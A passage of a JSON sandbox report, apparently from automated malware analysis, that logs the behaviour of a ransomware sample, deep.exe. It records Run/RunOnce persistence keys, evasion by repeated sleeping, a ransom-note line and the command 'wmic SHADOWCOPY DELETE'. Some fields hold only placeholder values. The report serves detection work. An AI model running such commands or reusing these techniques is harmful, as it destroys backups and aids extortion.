\"wmic.exe\")"],"description_v3":[{"type":"text","value":"\"root\\cimv2\" (Indicator: \"root\\cimv2\")"},{"type":"linebreak"},{"type":"text","value":"\"WMIC.exe\" (Indicator: \"wmic.exe\")"}],"origin":"File/Memory","attck_id":"T1047","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1047","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"handle-0","type":5,"relevance":7,"name":"Accesses potentially sensitive information from local browsers","description":"\"WMIC.exe\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"WMIC.exe\" had access to \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\" (Type: \"FileHandle\")","description_v2":["\"WMIC.exe\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")","\"WMIC.exe\" had access to \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\" (Type: \"FileHandle\")"],"description_v3":[{"type":"text","value":"\"WMIC.exe\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")"},{"type":"linebreak"},{"type":"text","value":"\"WMIC.exe\" had access to \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat\" (Type: \"FileHandle\")"}],"origin":"Touched Handle","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"api-37","type":6,"relevance":10,"name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"mshta.exe\" opened \"\\Device\\KsecDD\"\n \"wbadmin.exe\" opened \"\\Device\\KsecDD\"\n \"WMIC.exe\" opened \"\\Device\\KsecDD\"\n \"vssadmin.exe\" opened \"\\Device\\KsecDD\"\n \"notepad.exe\" opened \"\\Device\\KsecDD\"","description_v2":["\"\" opened \"\\Device\\KsecDD\"","\"mshta.exe\" opened \"\\Device\\KsecDD\"","\"wbadmin.exe\" opened \"\\Device\\KsecDD\"","\"WMIC.exe\" opened \"\\Device\\KsecDD\"","\"vssadmin.exe\" opened \"\\Device\\KsecDD\"","\"notepad.exe\" opened \"\\Device\\KsecDD\""],"description_v3":[{"type":"text","value":"\"\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"wbadmin.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"WMIC.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"vssadmin.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"notepad.exe\" opened \"\\Device\\KsecDD\""}],"origin":"API Call","attck_id":"T1215","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"hooks-8","type":11,"relevance":10,"name":"Installs hooks/patches the running process","description":"\"mshta.exe\" wrote bytes \"9498d97651c1d976efb2df76ee9cd97675dcdb769097d9761099d97600000000013d587538ed5875cfcd577531235775de2f5875c4ca577580bb5775aa6e58759fbb5775707f567592bb577546ba57750abf577500000000\" to virtual address \"0x71091000\" (part of module \"MSLS31.DLL\")\n \"WMIC.exe\" wrote bytes \"4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000\" to virtual address \"0x75491000\" (part of module \"NSI.DLL\")\n \"net.exe\" wrote bytes \"4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000\" to virtual address \"0x75491000\" (part of module \"NSI.DLL\")","description_v2":["\"mshta.exe\" wrote bytes \"9498d97651c1d976efb2df76ee9cd97675dcdb769097d9761099d97600000000013d587538ed5875cfcd577531235775de2f5875c4ca577580bb5775aa6e58759fbb5775707f567592bb577546ba57750abf577500000000\" to virtual address \"0x71091000\" (part of module \"MSLS31.DLL\")","\"WMIC.exe\" wrote bytes \"4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000\" to virtual address \"0x75491000\" (part of module \"NSI.DLL\")","\"net.exe\" wrote bytes \"4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000\" to virtual address \"0x75491000\" (part of module \"NSI.DLL\")"],"description_v3":[{"type":"text","value":"\"mshta.exe\" wrote bytes \"9498d97651c1d976efb2df76ee9cd97675dcdb769097d9761099d97600000000013d587538ed5875cfcd577531235775de2f5875c4ca577580bb5775aa6e58759fbb5775707f567592bb577546ba57750abf577500000000\" to virtual address \"0x71091000\" (part of module \"MSLS31.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"WMIC.exe\" wrote bytes \"4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000\" to virtual address \"0x75491000\" (part of module \"NSI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"net.exe\" wrote bytes \"4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000\" to virtual address \"0x75491000\" (part of module \"NSI.DLL\")"}],"origin":"Hook Detection","attck_id":"T1179","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"registry-25","type":3,"relevance":3,"name":"Reads information about supported languages","description":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"bcdedit.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"net.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"notepad.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","description_v2":["\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"bcdedit.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"net.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"notepad.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"],"description_v3":[{"type":"text","value":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"bcdedit.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"net.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"notepad.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Detection/Stealthyness","identifier":"api-19","type":6,"relevance":8,"name":"Creates a resource fork (ADS) file (often used to hide data)","description":"\"cmd.exe\" created file \"%APPDATA%\\deep.exe:Zone.Identifier\"","description_v2":["\"cmd.exe\" created file \"%APPDATA%\\deep.exe:Zone.Identifier\""],"description_v3":[{"type":"text","value":"\"cmd.exe\" created file \"%APPDATA%\\deep.exe:Zone.Identifier\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Detection/Stealthyness","identifier":"api-9","type":6,"relevance":4,"name":"Queries process information","description":"$29","description_v2":["\"\" queried SystemProcessInformation at 00015229-00002420-00000105-10356506874","\"\" queried SystemProcessInformation at 00016469-00003828-00000105-37924325218","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-63634444022","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78370064665","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78465069595","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78516116380","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78641286622","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78703426271","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78807269276","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78840689453","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78876028312","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78909954080","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78961831485","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79065049772","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79121852884","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79220761334","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79330483955","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79408285418","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79472531422","\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79593854232"],"description_v3":[{"type":"text","value":"\"\" queried SystemProcessInformation at 00015229-00002420-00000105-10356506874"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00016469-00003828-00000105-37924325218"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-63634444022"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78370064665"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78465069595"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78516116380"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78641286622"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78703426271"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78807269276"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78840689453"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78876028312"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78909954080"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-78961831485"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79065049772"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79121852884"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79220761334"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79330483955"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79408285418"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79472531422"},{"type":"linebreak"},{"type":"text","value":"\"\" queried SystemProcessInformation at 00017674-00002524-00000105-79593854232"}],"origin":"API Call","attck_id":"T1057","capec_id":"CAPEC-573","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1057","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Reverse Engineering","identifier":"static-6","type":0,"relevance":10,"name":"PE file has unusual entropy sections","description":"???\n .rsrc\n feemnvdm with unusual entropies 7.96742547261\n 7.98945743801\n 7.91386673414","description_v2":["???",".rsrc","feemnvdm with unusual entropies 7.96742547261","7.98945743801","7.91386673414"],"description_v3":[{"type":"text","value":"???"},{"type":"linebreak"},{"type":"text","value":".rsrc"},{"type":"linebreak"},{"type":"text","value":"feemnvdm with unusual entropies 7.96742547261"},{"type":"linebreak"},{"type":"text","value":"7.98945743801"},{"type":"linebreak"},{"type":"text","value":"7.91386673414"}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"api-47","type":6,"relevance":10,"name":"Possibly tries to evade analysis by sleeping many times","description":"\"\" (Thread ID: 2076) slept \"520\" times (threshold: 500)","description_v2":["\"\" (Thread ID: 2076) slept \"520\" times (threshold: 500)"],"description_v3":[{"type":"text","value":"\"\" (Thread ID: 2076) slept \"520\" times (threshold: 500)"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"registry-35","type":3,"relevance":5,"name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"vssadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"net.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","description_v2":["\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"vssadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"net.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"],"description_v3":[{"type":"text","value":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"vssadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"net.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"General","identifier":"api-6","type":6,"relevance":4,"name":"Reads configuration files","description":"\"\" read file \"%USERPROFILE%\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"mshta.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","description_v2":["\"\" read file \"%USERPROFILE%\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","\"mshta.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\""],"description_v3":[{"type":"text","value":"\"\" read file \"%USERPROFILE%\\Users\\%OSUSER%\\Desktop\\desktop.ini\""},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Installation/Persistance","identifier":"registry-0","type":3,"relevance":8,"name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"LMEWCFYUXHYBLR\"; Value: \"notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"\")\n \"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"LMEWCFYUXHYBLR\"; Value: \"%APPDATA%\\deep.exe\")","description_v2":["\"\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")","\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"LMEWCFYUXHYBLR\"; Value: \"notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"\")","\"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")","\"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"LMEWCFYUXHYBLR\"; Value: \"%APPDATA%\\deep.exe\")"],"description_v3":[{"type":"text","value":"\"\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")"},{"type":"linebreak"},{"type":"text","value":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"LMEWCFYUXHYBLR\"; Value: \"notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"\")"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"LMEWCFYUXHYBLR\"; Value: \"%APPDATA%\\deep.exe\")"}],"origin":"Registry Access","attck_id":"T1060","capec_id":"CAPEC-270","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1060","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Ransomware/Banking","identifier":"registry-22","type":3,"relevance":10,"name":"Changes the desktop background picture","description":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\CONTROL PANEL\\DESKTOP\"; Key: \"TILEWALLPAPER\"; Value: \"30000000\")\n \"\" (Access type: \"SETVAL\"; Path: \"HKCU\\CONTROL PANEL\\DESKTOP\"; Key: \"WALLPAPERSTYLE\"; Value: \"32000000\")","description_v2":["\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\CONTROL PANEL\\DESKTOP\"; Key: \"TILEWALLPAPER\"; Value: \"30000000\")","\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\CONTROL PANEL\\DESKTOP\"; Key: \"WALLPAPERSTYLE\"; Value: \"32000000\")"],"description_v3":[{"type":"text","value":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\CONTROL PANEL\\DESKTOP\"; Key: \"TILEWALLPAPER\"; Value: \"30000000\")"},{"type":"linebreak"},{"type":"text","value":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\CONTROL PANEL\\DESKTOP\"; Key: \"WALLPAPERSTYLE\"; Value: \"32000000\")"}],"origin":"Registry Access","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Ransomware/Banking","identifier":"string-13","type":2,"relevance":7,"name":"Detected indicator that file is ransomware","description":"$2a","description_v2":["$2b","\"All your files have been encrypted due to a security problem with your PC.\" (Source: HOW TO RECOVER ENCRYPTED FILES.TXT, Indicator: \"files have been encrypted\")"],"description_v3":[{"type":"text","value":"$2c"},{"type":"linebreak"},{"type":"text","value":"\"All your files have been encrypted due to a security problem with your PC.\" (Source: HOW TO RECOVER ENCRYPTED FILES.TXT, Indicator: \"files have been encrypted\")"}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Ransomware/Banking","identifier":"string-12","type":2,"relevance":10,"name":"Detected text artifact in screenshot that indicate file could be ransomware","description":"\"payment\" (Source: screen_2.png, Indicator: \"payment\")\n \"decryption\" (Source: screen_2.png, Indicator: \"decrypt\")\n \"decryption.\" (Source: screen_2.png, Indicator: \"decrypt\")\n \"decrypt\" (Source: screen_2.png, Indicator: \"decrypt\")","description_v2":["\"payment\" (Source: screen_2.png, Indicator: \"payment\")","\"decryption\" (Source: screen_2.png, Indicator: \"decrypt\")","\"decryption.\" (Source: screen_2.png, Indicator: \"decrypt\")","\"decrypt\" (Source: screen_2.png, Indicator: \"decrypt\")"],"description_v3":[{"type":"text","value":"\"payment\" (Source: screen_2.png, Indicator: \"payment\")"},{"type":"linebreak"},{"type":"text","value":"\"decryption\" (Source: screen_2.png, Indicator: \"decrypt\")"},{"type":"linebreak"},{"type":"text","value":"\"decryption.\" (Source: screen_2.png, Indicator: \"decrypt\")"},{"type":"linebreak"},{"type":"text","value":"\"decrypt\" (Source: screen_2.png, Indicator: \"decrypt\")"}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Remote Access Related","identifier":"registry-61","type":3,"relevance":10,"name":"Reads terminal service related keys (often RDP related)","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","description_v2":["\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")"],"description_v3":[{"type":"text","value":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")"}],"origin":"Registry Access","attck_id":"T1076","capec_id":"CAPEC-555","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1076","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Spyware/Information Retrieval","identifier":"target-10","type":9,"relevance":3,"name":"Reads system information using Windows Management Instrumentation Commandline (WMIC)","description":"Process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00019136-00003816)","description_v2":["Process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00019136-00003816)"],"description_v3":[{"type":"text","value":"Process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\""},{"type":"process","process_uid":"00019136-00003816","label":"Show Process"}],"origin":"Monitored Target","attck_id":"T1047","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1047","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Destruction","identifier":"api-26","type":6,"relevance":10,"name":"Marks file for deletion","description":"\"C:\\deep.exe\" marked \"%APPDATA%\\deep.exe\" for deletion\n \"%APPDATA%\\deep.exe\" marked \"%APPDATA%\\deep.exe\" for deletion\n \"%WINDIR%\\System32\\mshta.exe\" marked \"%APPDATA%\\deep.exe\" for deletion","description_v2":["\"C:\\deep.exe\" marked \"%APPDATA%\\deep.exe\" for deletion","\"%APPDATA%\\deep.exe\" marked \"%APPDATA%\\deep.exe\" for deletion","\"%WINDIR%\\System32\\mshta.exe\" marked \"%APPDATA%\\deep.exe\" for deletion"],"description_v3":[{"type":"text","value":"\"C:\\deep.exe\" marked \"%APPDATA%\\deep.exe\" for deletion"},{"type":"linebreak"},{"type":"text","value":"\"%APPDATA%\\deep.exe\" marked \"%APPDATA%\\deep.exe\" for deletion"},{"type":"linebreak"},{"type":"text","value":"\"%WINDIR%\\System32\\mshta.exe\" marked \"%APPDATA%\\deep.exe\" for deletion"}],"origin":"API Call","attck_id":"T1107","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Destruction","identifier":"api-25","type":6,"relevance":7,"name":"Opens file with deletion access rights","description":"\"\" opened \"%APPDATA%\\deep.exe\" with delete access\n \"wbadmin.exe\" opened \"%WINDIR%\\Logs\" with delete access\n \"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.3.etl\" with delete access\n \"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.2.etl\" with delete access\n \"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.1.etl\" with delete access\n \"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.0.etl\" with delete access\n \"mshta.exe\" opened \"%APPDATA%\\deep.exe\" with delete access","description_v2":["\"\" opened \"%APPDATA%\\deep.exe\" with delete access","\"wbadmin.exe\" opened \"%WINDIR%\\Logs\" with delete access","\"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.3.etl\" with delete access","\"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.2.etl\" with delete access","\"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.1.etl\" with delete access","\"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.0.etl\" with delete access","\"mshta.exe\" opened \"%APPDATA%\\deep.exe\" with delete access"],"description_v3":[{"type":"text","value":"\"\" opened \"%APPDATA%\\deep.exe\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"wbadmin.exe\" opened \"%WINDIR%\\Logs\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.3.etl\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"wbadmin.exe\" opened 